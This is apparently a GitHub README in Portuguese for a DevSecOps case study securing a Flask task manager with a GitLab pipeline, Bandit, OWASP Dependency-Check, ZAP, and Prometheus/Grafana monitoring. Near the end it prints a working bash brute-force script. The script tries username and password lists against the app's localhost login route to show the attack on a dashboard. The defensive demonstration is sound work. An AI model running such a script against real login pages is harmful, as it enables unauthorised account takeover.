Skip to content

Estudo Caso: Criação, Implementação e Segurança de um Sistema de Gerenciamento de Tarefas

License

Notifications You must be signed in to change notification settings

gustavogss/task-manager

Repository files navigation

INTRODUÇÃO

Este estudo de caso se refere a implementação e segurança de um sistema de gerenciamento de tarefas pessoais, integrando processos de SDLC, DevOps e DevSecOps para garantir eficiência e segurança.


ETAPA 1: PLANEJAMENTO E DEFINIÇÃO DE REQUISITOS

  1. Clonar o projeto e instalar das dependências a partir do requiriments.txt:
Flask==2.3.2
Flask-Bcrypt==1.0.1
Flask-Login==0.6.3
Flask-SQLAlchemy==3.0.5
Flask-WTF==1.1.1
WTForms==3.1.1
Jinja2==3.1.2
werkzeug==2.3.3
coverage
python-dotenv
prometheus-flask-exporter

  1. Construir o Diagrama para entender o dominio do problema:

DFD


ETAPA 2: DESENVOLVIMENTO DO SISTEMA

Branchs:

  • master: produção
  • development: desenvolvimento
  • staging: homologação

Ferramentas Utilizadas:

  • Visual Studio Code
  • Gitlab
  • Docker
  • Python
  • Pytest
  • Unittest
  • Zed Attack Proxy
  • Bandit
  • OWASP Dependency-Check
  • OWASP ZAP
  • Hydra
  • Prometheus
  • Grafana

  1. Implementação do Dockerfile

dockerfile


  1. Aplicação executada na porta 5000:

app


ETAPA3: IMPLEMENTAÇÃO DE UM PIPELINE CI/CD

  1. Implementação do build e deploy na pipeline

gitlab


  1. Pipeline em execução no gitlab:

pipeline-inital


ETAPA 4: ANÁLISE ESTÁTICA DE CÓDIGO (SAST)

  1. Implementação do Bandit na pipeline:

bandit


  1. Artefato gerado mostrando dados sensíveis expostos na aplicação:

artfect-bandit


  1. Correção no código da falha capturada pelo Bandit:

fix-bandit


  1. Implementação do OWASP Dependency Check na pipeline:

owasp-dependency-check


  1. Artefato gerado com vulnerabilidades no código javascript:

artfect-dependency


ETAPA 5: ANÁLISE DINÂMICA DE SEGURANÇA (DAST)

  1. Foi utilizada a aplicação Zed Attack Proxy (ZAP) para fazer uma varredura rápida na aplicação:

zed


  1. Artefato gerado mostrando as vulnerabilidades e níveis de risco:

artefact-zed


ETAPA 6: ENTREGA CONTÍNUA (CD)

  1. Implementação da etapa revisão de código na pipeline:

review


  1. Implementação do OWASP ZAP para executar em toda pipeline na homologação:

owasp-zap


ETAPA 7: MONITORAMENTO

  1. Implementação do Prometheus e Grafana na produção:

prometehues-grafana


  1. Implementação do ataque de bruta force em python:
#!/bin/bash

URL="http://localhost:5000/login"   
USERNAMES="usernames.txt"        
PASSWORDS="passwords.txt"       

if [[ ! -f "$USERNAMES" || ! -f "$PASSWORDS" ]]; then
  echo "Os arquivos usernames.txt ou passwords.txt não foram encontrados."
  exit 1
fi

while IFS= read -r username; do
  while IFS= read -r password; do
    echo "Tentando login com Username: $username e Password: $password"    
 
    response=$(curl -s -X POST -d "username=$username&password=$password" "$URL")    
   
    if [[ $response == *"Login successful"* ]]; then
      echo "SUCESSO! Username: $username | Password: $password"
      exit 0
    fi
  done < "$PASSWORDS"
done < "$USERNAMES"

  1. Acompanhamento pelo Grafana com o ataque de bruta force em execução na rota de login:

monitory


ETAPA 8: FEEDBACKS

  1. A aplicação é antiga e precisou que algumas bibliotecas fossem atualizadas;

  2. Foi corrigida uma das vulnerabilidades críticas capturada pelo bandit;

  3. Testes funcionais e de integração foram implementados na etapa de homologação

  4. A pipeline foi testada de ponta a ponta, do desenvolvimento a homologação e produção:

pipeline-full


About

Estudo Caso: Criação, Implementação e Segurança de um Sistema de Gerenciamento de Tarefas

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published